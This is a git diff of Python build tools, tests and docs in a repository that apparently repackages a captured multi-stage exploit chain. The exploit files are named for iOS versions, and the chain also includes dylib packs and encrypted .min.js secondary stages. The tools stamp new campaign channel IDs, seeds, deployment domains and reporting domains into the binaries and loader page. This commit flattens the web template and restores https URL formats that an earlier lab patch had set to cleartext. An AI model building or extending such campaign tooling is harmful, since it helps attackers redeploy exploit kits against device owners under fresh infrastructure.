diff --git a/README.md b/README.md
index bdcaebd..6df6aba 100644
--- a/README.md
+++ b/README.md
@@ -56,7 +56,7 @@ python3 frontend/tools/new_project.py \
   --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
   --deployment-domains 'www.dep.example' \
   --reporting-domains 'www.rep.example' \
-  --support-template test   # 或 blank（无 HUD 空白页）
+  --support-template test   # test | blank
 ```
 
 ## Tests
diff --git a/frontend/doc/NATIVE_PACKS.md b/frontend/doc/NATIVE_PACKS.md
index 719eb59..42f84f0 100644
--- a/frontend/doc/NATIVE_PACKS.md
+++ b/frontend/doc/NATIVE_PACKS.md
@@ -10,7 +10,7 @@
 {base}/65704c07….min.js      # 二级 type-0x01 包（wire 后缀 .min.js）
 ```
 
-`base` = `/web/34f5121f572d6742703eb84ec2f866a6/`（lab 已摊平到同路径）。
+线上原始 `base` = `/web/34f5121f572d6742703eb84ec2f866a6/`；lab 模板与产物为扁平 `web/`（渠道对外路径为 `/channel/<id>/web/`）。
 
 ### Wire 后缀（实测）
 
diff --git a/frontend/doc/STAGE_JS.md b/frontend/doc/STAGE_JS.md
index 8ded355..3be2f9e 100644
--- a/frontend/doc/STAGE_JS.md
+++ b/frontend/doc/STAGE_JS.md
@@ -1,12 +1,13 @@
 # Stage JS 与入口
 
-线上与 lab 均位于 campaign base：
+lab 模板与渠道产物均位于扁平 `web/`（不再使用历史 campaign hash 子目录）：
 
 ```text
-web/34f5121f572d6742703eb84ec2f866a6/
+frontend/source/web/                  # 模板
+artifacts/channel/<id>/web/           # 渠道产物
 ```
 
-`coruna-online` 中哈希文件名在仓库根目录；下表「对标 `coruna/`」为同系列可读文件名（逻辑对应，**字节未必一致**：本批 dhxuhdbej888 与 `coruna/` 工具包是同源链的不同落盘/混淆版本）。
+线上原始样本路径曾为 `/web/34f5121f572d6742703eb84ec2f866a6/`；lab 已摊平。`coruna-online` 中哈希文件名在仓库根目录；下表「对标 `coruna/`」为同系列可读文件名（逻辑对应，**字节未必一致**：本批 dhxuhdbej888 与 `coruna/` 工具包是同源链的不同落盘/混淆版本）。
 
 ## 阶段职责
 
@@ -22,7 +23,7 @@ web/34f5121f572d6742703eb84ec2f866a6/
 
 ## 文件对照
 
-| lab 文件 (`web/34f5121f…/`) | 阶段 | 对标 `coruna/` |
+| lab 文件 (`web/`) | 阶段 | 对标 `coruna/` |
 |---|---|---|
 | `support.html` | 入口 HTML | `index.html` / `group.html`（入口角色对应；非同字节） |
 | `98f0c8fb182309faa687aa849e92d0ac5f93af7d.js` | Stage1 | `Stage1_15.2_15.5_jacurutu.js` |
diff --git a/frontend/source/templates/support/README.md b/frontend/source/templates/support/README.md
index 0860c3c..d6d1158 100644
--- a/frontend/source/templates/support/README.md
+++ b/frontend/source/templates/support/README.md
@@ -4,7 +4,7 @@ Build-time choices for `web/support.html` (`--support-template` / API `support_t
 
 | Name | Source | Description |
 |------|--------|-------------|
-| `test` | campaign copy under `source/web/<id>/support.html` | Current lab HUD progress UI |
-| `blank` | `blank.html` in this directory | Same loader scripts, no HUD markup/JS |
+| `test` | campaign copy under `source/web/support.html` | Current lab HUD progress UI |
+| `blank` | `blank.html` | Loader scripts only, no HUD UI |
 
 Default is `test`.
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diff --git a/frontend/tests/test_scheme_patch.py b/frontend/tests/test_scheme_patch.py
index 4c9a645..735ab1f 100644
--- a/frontend/tests/test_scheme_patch.py
+++ b/frontend/tests/test_scheme_patch.py
@@ -9,37 +9,47 @@ if str(TOOLS) not in sys.path:
     sys.path.insert(0, str(TOOLS))
 
 from _scheme_patch import (
+    HTTPS,
+    HTTP_SLOT,
+    HTTP_VISIBLE,
     LEGACY_SLASH,
-    NEW_VISIBLE,
-    OLD,
-    patch_deployment_scheme_to_http,
+    ensure_deployment_scheme_https,
 )
 
 
 class SchemePatchTests(unittest.TestCase):
     def test_slot_sizes(self) -> None:
-        self.assertEqual(len(OLD), 10)
+        self.assertEqual(len(HTTPS), 10)
         self.assertEqual(len(LEGACY_SLASH), 10)
-        self.assertEqual(len(NEW_VISIBLE), 9)
+        self.assertEqual(len(HTTP_SLOT), 10)
+        self.assertEqual(len(HTTP_VISIBLE), 9)
 
-    def test_patches_core_fat_dylib(self) -> None:
+    def test_leaves_core_https_alone(self) -> None:
         src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib"
         data = src.read_bytes()
-        self.assertEqual(data.count(OLD), 2)
-        out = patch_deployment_scheme_to_http(data, expect_hits=2, label="core")
-        self.assertEqual(out.count(OLD), 0)
-        self.assertEqual(out.count(LEGACY_SLASH), 0)
-        self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 2)
+        self.assertEqual(data.count(HTTPS), 2)
+        out = ensure_deployment_scheme_https(data, expect_hits=2, label="core")
+        self.assertEqual(out, data)
+        self.assertEqual(out.count(HTTPS), 2)
 
-    def test_migrates_legacy_trailing_slash(self) -> None:
+    def test_restores_http_slot_on_core(self) -> None:
         src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib"
-        legacy = src.read_bytes().replace(OLD, LEGACY_SLASH)
-        self.assertEqual(legacy.count(LEGACY_SLASH), 2)
-        out = patch_deployment_scheme_to_http(legacy, expect_hits=2, label="core")
+        http_patched = src.read_bytes().replace(HTTPS, HTTP_SLOT)
+        self.assertEqual(http_patched.count(HTTP_SLOT), 2)
+        out = ensure_deployment_scheme_https(http_patched, expect_hits=2, label="core")
+        self.assertEqual(out.count(HTTPS), 2)
+        self.assertEqual(out.count(HTTP_SLOT), 0)
         self.assertEqual(out.count(LEGACY_SLASH), 0)
-        self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 2)
 
-    def test_patches_type0x01_thin(self) -> None:
+    def test_restores_legacy_trailing_slash(self) -> None:
+        src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib"
+        legacy = src.read_bytes().replace(HTTPS, LEGACY_SLASH)
+        self.assertEqual(legacy.count(LEGACY_SLASH), 2)
+        out = ensure_deployment_scheme_https(legacy, expect_hits=2, label="core")
+        self.assertEqual(out.count(LEGACY_SLASH), 0)
+        self.assertEqual(out.count(HTTPS), 2)
+
+    def test_leaves_type0x01_https_alone(self) -> None:
         src = (
             FRONTEND
             / "source"
@@ -47,9 +57,10 @@ class SchemePatchTests(unittest.TestCase):
             / "65704c0722165a7bdedad3f3f61258b2f95470f6_type0x01.dylib"
         )
         data = src.read_bytes()
-        out = patch_deployment_scheme_to_http(data, expect_hits=1, label="t0")
-        self.assertEqual(out.count(OLD), 0)
-        self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 1)
+        self.assertEqual(data.count(HTTPS), 1)
+        out = ensure_deployment_scheme_https(data, expect_hits=1, label="t0")
+        self.assertEqual(out, data)
+        self.assertEqual(out.count(HTTPS), 1)
 
 
 if __name__ == "__main__":
diff --git a/frontend/tools/README.md b/frontend/tools/README.md
index 6d14c9f..ddb99d4 100644
--- a/frontend/tools/README.md
+++ b/frontend/tools/README.md
@@ -17,7 +17,7 @@ python3 frontend/tools/new_project.py \
   --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
   --deployment-domains 'www.dep1.example,www.dep2.example' \
   --reporting-domains  'www.rep1.example,www.rep2.example' \
-  --support-template test   # test=HUD 进度页；blank=空白页
+  --support-template test   # test | blank
 
 python3 frontend/tools/new_project.py \
   --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
@@ -28,7 +28,7 @@ python3 frontend/tools/new_project.py \
   --support-template blank
 ```
 
-`support_template`：`test`（默认，source 中带 HUD 的页面）或 `blank`（去掉 HUD，仅保留加载逻辑）。
+`support_template`：`test`（默认 HUD）、`blank`（空白页）。
 
 产物：
 
diff --git a/frontend/tools/_common.py b/frontend/tools/_common.py
index 1e1c260..3275849 100644
--- a/frontend/tools/_common.py
+++ b/frontend/tools/_common.py
@@ -23,11 +23,11 @@ VENDOR_ROOT = TOOLS_ROOT / "vendor"
 if str(VENDOR_ROOT) not in sys.path:
     sys.path.insert(0, str(VENDOR_ROOT))
 
-# Campaign / channel id embedded in type-0x01 (also source/web/<id>/ dirname).
+# Campaign / channel id embedded in type-0x01 binaries (seed template).
 ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
 # Plain C-string channel in core + most sync business dylibs (FAT, 2 hits each).
 ORIGINAL_CORE_CHANNEL_ID = "e57f5207c9f2bacf7907c09ccf25b107"
-CAMPAIGN_HASH = ORIGINAL_CHANNEL_ID  # active campaign id (may be overridden)
+CAMPAIGN_HASH = ORIGINAL_CHANNEL_ID  # active channel id (may be overridden)
 
 # Campaign originals (current seeds embedded in type-0x01 + core)
 ORIGINAL_DEPLOYMENT_SEED = "09d0b8d58a71653cd1c89c64c866f2e6"
@@ -41,7 +41,8 @@ OLD_REP = ORIGINAL_REPORTING_SEED.encode("ascii")
 _TREE_ROOT = SOURCE_ROOT
 CAMPAIGN_DIR = _TREE_ROOT / "web"
 SYNC_DIR = _TREE_ROOT / "sync"
-SOURCE_CAMPAIGN_DIR = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
+# Flat delivery template (support.html + stage/native packs live directly under web/).
+SOURCE_CAMPAIGN_DIR = SOURCE_ROOT / "web"
 
 # Vendored plaintext inputs (all under source/; no coruna-online runtime dependency).
 TYPE0X01_DYLIBS_DIR = SOURCE_ROOT / "type0x01_dylibs"
diff --git a/frontend/tools/_scheme_patch.py b/frontend/tools/_scheme_patch.py
index 6d06aac..9a08516 100644
--- a/frontend/tools/_scheme_patch.py
+++ b/frontend/tools/_scheme_patch.py
@@ -1,12 +1,15 @@
-"""Force Deployment/Reporting URL scheme from https to http for lab proxy testing.
+"""Keep Deployment/Reporting URL scheme as ``https://%@``.
 
 Core/type0x01 build URLs with the cstring/CFString format ``https://%@``.
-daily.html plugin URLs are already ``http://[HOST_PLACEHOLDER]/...``.
+``daily.html`` plugin URLs use ``https://[HOST_PLACEHOLDER]/...``.
 
-``https://%@`` (len 10) is replaced with ``http://%@\\0`` (9 visible chars + pad)
-and matching CFString length fields are updated 10 → 9.  Do **not** use a trailing
-slash in the format string — paths already start with ``/``, which produced
-``https://host//api/...``.
+Older lab builds patched scheme to cleartext for proxy testing:
+
+- ``https://%@`` → ``http://%@\\0`` (9 visible chars + NUL pad), CFString length 10 → 9
+- mistaken same-length form ``http://%@/`` (caused ``host//path``)
+
+This module leaves pristine ``https://%@`` alone and restores any of those
+legacy http forms back to ``https://%@`` (CFString length 10).
 """
 
 from __future__ import annotations
@@ -15,12 +18,17 @@ import struct
 
 from _path_patch import _arm64e_target, _fat_slices, _parse_macho
 
-OLD = b"https://%@"
+HTTPS = b"https://%@"
 # Previous mistaken same-length patch (caused host//path).
 LEGACY_SLASH = b"http://%@/"
-# 10-byte slot: 9-char format + NUL pad (original terminator becomes a second NUL).
-NEW_SLOT = b"http://%@\x00"
-NEW_VISIBLE = b"http://%@"
+# 10-byte slot from http cleartext patch: 9-char format + NUL pad.
+HTTP_SLOT = b"http://%@\x00"
+HTTP_VISIBLE = b"http://%@"
+
+# Back-compat aliases for tests / importers that still use the old names.
+OLD = HTTPS
+NEW_SLOT = HTTP_SLOT
+NEW_VISIBLE = HTTP_VISIBLE
 
 
 def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes:
@@ -35,22 +43,23 @@ def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes:
     cstring = macho.section("__TEXT", "__cstring")
     region = bytearray(data[cstring.offset : cstring.offset + cstring.size])
 
-    # Prefer migrating legacy slash form, else patch original https form.
-    if region.count(LEGACY_SLASH) == expect_hits and region.count(OLD) == 0:
-        source = LEGACY_SLASH
-    elif region.count(OLD) == expect_hits:
-        source = OLD
-    elif (
-        region.count(NEW_VISIBLE) >= expect_hits
-        and region.count(OLD) == 0
-        and region.count(LEGACY_SLASH) == 0
-    ):
-        # Already patched to http://%@ (NUL-terminated).
+    https_count = region.count(HTTPS)
+    slash_count = region.count(LEGACY_SLASH)
+    http_slot_count = region.count(HTTP_SLOT)
+
+    if https_count == expect_hits and slash_count == 0 and http_slot_count == 0:
+        # Already https://%@ — nothing to do.
         return data
+
+    if slash_count == expect_hits and https_count == 0 and http_slot_count == 0:
+        source = LEGACY_SLASH
+    elif http_slot_count == expect_hits and https_count == 0 and slash_count == 0:
+        source = HTTP_SLOT
     else:
         raise SystemExit(
-            f"{label}: expected {expect_hits} {OLD!r} or {LEGACY_SLASH!r} in "
-            f"__cstring; found https={region.count(OLD)} slash={region.count(LEGACY_SLASH)}"
+            f"{label}: expected {expect_hits} {HTTPS!r} (or legacy http forms) in "
+            f"__cstring; found https={https_count} slash={slash_count} "
+            f"http_slot={http_slot_count}"
         )
 
     hits: list[int] = []
@@ -67,7 +76,7 @@ def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes:
         )
 
     for hit in hits:
-        region[hit : hit + len(NEW_SLOT)] = NEW_SLOT
+        region[hit : hit + len(HTTPS)] = HTTPS
 
     buf = bytearray(data)
     buf[cstring.offset : cstring.offset + cstring.size] = region
@@ -87,12 +96,12 @@ def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes:
             target = raw if architecture == "arm64" else _arm64e_target(raw)
             if target != path_vmaddr:
                 continue
-            if length not in (len(OLD), len(NEW_VISIBLE)):
+            if length not in (len(HTTPS), len(HTTP_VISIBLE)):
                 raise SystemExit(
                     f"{label}: scheme CFString length={length}, expected "
-                    f"{len(OLD)} or {len(NEW_VISIBLE)}"
+                    f"{len(HTTPS)} or {len(HTTP_VISIBLE)}"
                 )
-            struct.pack_into("<Q", buf, record_offset + 24, len(NEW_VISIBLE))
+            struct.pack_into("<Q", buf, record_offset + 24, len(HTTPS))
             patched_lengths += 1
             break
         else:
@@ -107,16 +116,16 @@ def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes:
     return bytes(buf)
 
 
-def patch_deployment_scheme_to_http(
+def ensure_deployment_scheme_https(
     data: bytes,
     *,
     expect_hits: int,
     label: str,
 ) -> bytes:
-    """Patch ``https://%@`` → ``http://%@`` (CFString length 9) in thin or fat dylibs.
+    """Ensure ``https://%@`` (CFString length 10) in thin or fat dylibs.
 
     ``expect_hits`` is the total number of format strings across the whole file
-    (2 for fat core, 1 for thin type0x01).
+    (2 for fat core, 1 for thin type0x01). Restores legacy lab http patches.
     """
     slices = _fat_slices(data, label=label)
     if slices is None:
diff --git a/frontend/tools/new_project.py b/frontend/tools/new_project.py
index 0d56761..05dc35c 100644
--- a/frontend/tools/new_project.py
+++ b/frontend/tools/new_project.py
@@ -26,7 +26,6 @@ PROJECT_ROOT = FRONTEND_ROOT.parent
 SOURCE_ROOT = FRONTEND_ROOT / "source"
 ARTIFACTS_ROOT = PROJECT_ROOT / "artifacts"
 LAB_ROOT = FRONTEND_ROOT  # cwd / out/ for tooling
-ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
 SUPPORT_TEMPLATES = ("test", "blank")
 DEFAULT_SUPPORT_TEMPLATE = "test"
 SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support"
@@ -72,11 +71,13 @@ def apply_support_template(campaign_dir: Path, template: str) -> None:
 
 
 def copy_campaign_template(dst_campaign: Path) -> None:
-    src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
+    src = SOURCE_ROOT / "web"
     if not src.is_dir():
-        raise SystemExit(f"missing source campaign: {src}")
+        raise SystemExit(f"missing source web template: {src}")
+    if not (src / "support.html").is_file():
+        raise SystemExit(f"missing source web/support.html under {src}")
     if dst_campaign.exists():
-        raise SystemExit(f"campaign already exists: {dst_campaign}")
+        raise SystemExit(f"web dest already exists: {dst_campaign}")
     shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk)
 
 
@@ -220,10 +221,10 @@ def main() -> int:
     )
     args = parser.parse_args()
 
-    src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
+    src_campaign = SOURCE_ROOT / "web"
     src_sync = SOURCE_ROOT / "sync"
-    if not src_campaign.is_dir():
-        raise SystemExit(f"missing source campaign: {src_campaign}")
+    if not src_campaign.is_dir() or not (src_campaign / "support.html").is_file():
+        raise SystemExit(f"missing source web template (need web/support.html): {src_campaign}")
     if not src_sync.is_dir():
         raise SystemExit(f"missing source sync: {src_sync}")
 
diff --git a/frontend/tools/patch_all.py b/frontend/tools/patch_all.py
index 5518a12..4b846c8 100644
--- a/frontend/tools/patch_all.py
+++ b/frontend/tools/patch_all.py
@@ -17,7 +17,6 @@ TOOLS = Path(__file__).resolve().parent
 FRONTEND_ROOT = TOOLS.parent
 LAB_ROOT = FRONTEND_ROOT
 SOURCE_ROOT = FRONTEND_ROOT / "source"
-ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
 
 
 def gen_seed() -> str:
@@ -39,12 +38,12 @@ def ensure_working_tree(root: Path, channel: str) -> None:
     """Ensure channel-scoped sync/ and web/ exist."""
     camp = root / "web"
     sync = root / "sync"
-    src_camp = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
+    src_camp = SOURCE_ROOT / "web"
     src_sync = SOURCE_ROOT / "sync"
-    if not src_camp.is_dir() or not src_sync.is_dir():
+    if not src_camp.is_dir() or not (src_camp / "support.html").is_file() or not src_sync.is_dir():
         raise SystemExit(
             f"missing source template.\n"
-            f"expected: {src_camp} and {src_sync}"
+            f"expected: {src_camp}/support.html and {src_sync}"
         )
     if not camp.is_dir() or not sync.is_dir():
         print("=== bootstrap working tree from source/ ===")
@@ -54,7 +53,7 @@ def ensure_working_tree(root: Path, channel: str) -> None:
     if not camp.is_dir():
         camp.parent.mkdir(parents=True, exist_ok=True)
         shutil.copytree(src_camp, camp, symlinks=False, ignore=_ignore_junk)
-        print(f"copied campaign -> {camp}")
+        print(f"copied web/ -> {camp}")
     if not camp.is_dir() or not sync.is_dir():
         raise SystemExit(f"failed to bootstrap {camp} / {sync}")
     print()
diff --git a/frontend/tools/patch_core.py b/frontend/tools/patch_core.py
index 8228cc6..b495a66 100644
--- a/frontend/tools/patch_core.py
+++ b/frontend/tools/patch_core.py
@@ -28,7 +28,7 @@ from _common import (
 )
 from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
 from _path_patch import patch_initial_daily_path
-from _scheme_patch import patch_deployment_scheme_to_http
+from _scheme_patch import ensure_deployment_scheme_https
 import _common
 
 from coruna_netconfig_pipeline import (
@@ -151,7 +151,7 @@ def update_daily_hashes(
 ) -> bytes:
     """Rewrite channel sync URLs and update hashes/sizes keyed by wire filename."""
     obj = json.loads(config_bytes)
-    prefix = f"http://[HOST_PLACEHOLDER]/channel/{channel}/sync"
+    prefix = f"https://[HOST_PLACEHOLDER]/channel/{channel}/sync"
 
     def patch_entry(entry: dict) -> None:
         wire = str(entry.get("url", "")).rsplit("/", 1)[-1]
@@ -258,7 +258,7 @@ def main() -> int:
 
     if args.root:
         set_tree_root(args.root)
-        # sync-only: campaign dirs are web/<channel-id>/ and may not match ORIGINAL
+        # sync-only: working tree may lack web/ when patching sync in isolation
         ensure_tree_layout(tree_root(), require_campaign=False)
     if args.apply:
         if not args.root:
@@ -315,8 +315,8 @@ def main() -> int:
                     reporting_seed=rep,
                     label=label,
                 )
-            # Fat arm64+arm64e: 2× https://%@ → http://%@/ for lab cleartext proxy.
-            data = patch_deployment_scheme_to_http(
+            # Fat arm64+arm64e: keep/restore 2× https://%@ (undo legacy http lab patch).
+            data = ensure_deployment_scheme_https(
                 data, expect_hits=2, label=label
             )
 
diff --git a/frontend/tools/patch_secondary_packs.py b/frontend/tools/patch_secondary_packs.py
index 6fcc5c4..e4db522 100644
--- a/frontend/tools/patch_secondary_packs.py
+++ b/frontend/tools/patch_secondary_packs.py
@@ -23,7 +23,7 @@ from _common import (
     validate_seed_arg,
 )
 from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
-from _scheme_patch import patch_deployment_scheme_to_http
+from _scheme_patch import ensure_deployment_scheme_https
 from _path_patch import patch_initial_daily_path
 from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
 import _common
@@ -49,7 +49,7 @@ def main() -> int:
     parser.add_argument(
         "--channel-id",
         help=(
-            f"new 32-hex channel id written into type-0x01 and used as web/<id>/ "
+            f"new 32-hex channel id written into type-0x01 "
             f"(default: keep {ORIGINAL_CHANNEL_ID})"
         ),
     )
@@ -141,8 +141,8 @@ def main() -> int:
                 reporting_seed=rep,
                 label=path.name,
             )
-        # Thin type0x01: 1× https://%@ → http://%@/ for lab cleartext proxy.
-        data = patch_deployment_scheme_to_http(
+        # Thin type0x01: keep/restore 1× https://%@ (undo legacy http lab patch).
+        data = ensure_deployment_scheme_https(
             data, expect_hits=1, label=path.name
         )
         if channel != ORIGINAL_CHANNEL_ID:
diff --git a/frontend/tools/tests/test_patch_core.py b/frontend/tools/tests/test_patch_core.py
index 61df3a6..f3689d9 100644
--- a/frontend/tools/tests/test_patch_core.py
+++ b/frontend/tools/tests/test_patch_core.py
@@ -22,7 +22,7 @@ class UpdateDailyHashesTest(unittest.TestCase):
             },
             "springboard_entries": [
                 {
-                    "url": "http://[HOST_PLACEHOLDER]/sync/spring.js",
+                    "url": "https://[HOST_PLACEHOLDER]/sync/spring.js",
                     "sha256": "old",
                     "size": 2,
                 }
@@ -49,7 +49,7 @@ class UpdateDailyHashesTest(unittest.TestCase):
             )
         )
 
-        prefix = f"http://[HOST_PLACEHOLDER]/channel/{channel}/sync/"
+        prefix = f"https://[HOST_PLACEHOLDER]/channel/{channel}/sync/"
         self.assertEqual(result["core"]["url"], prefix + "erupt_flee.js")
         self.assertEqual(result["core"]["sha256"], "core-hash")
         self.assertEqual(result["springboard_entries"][0]["url"], prefix + "spring.js")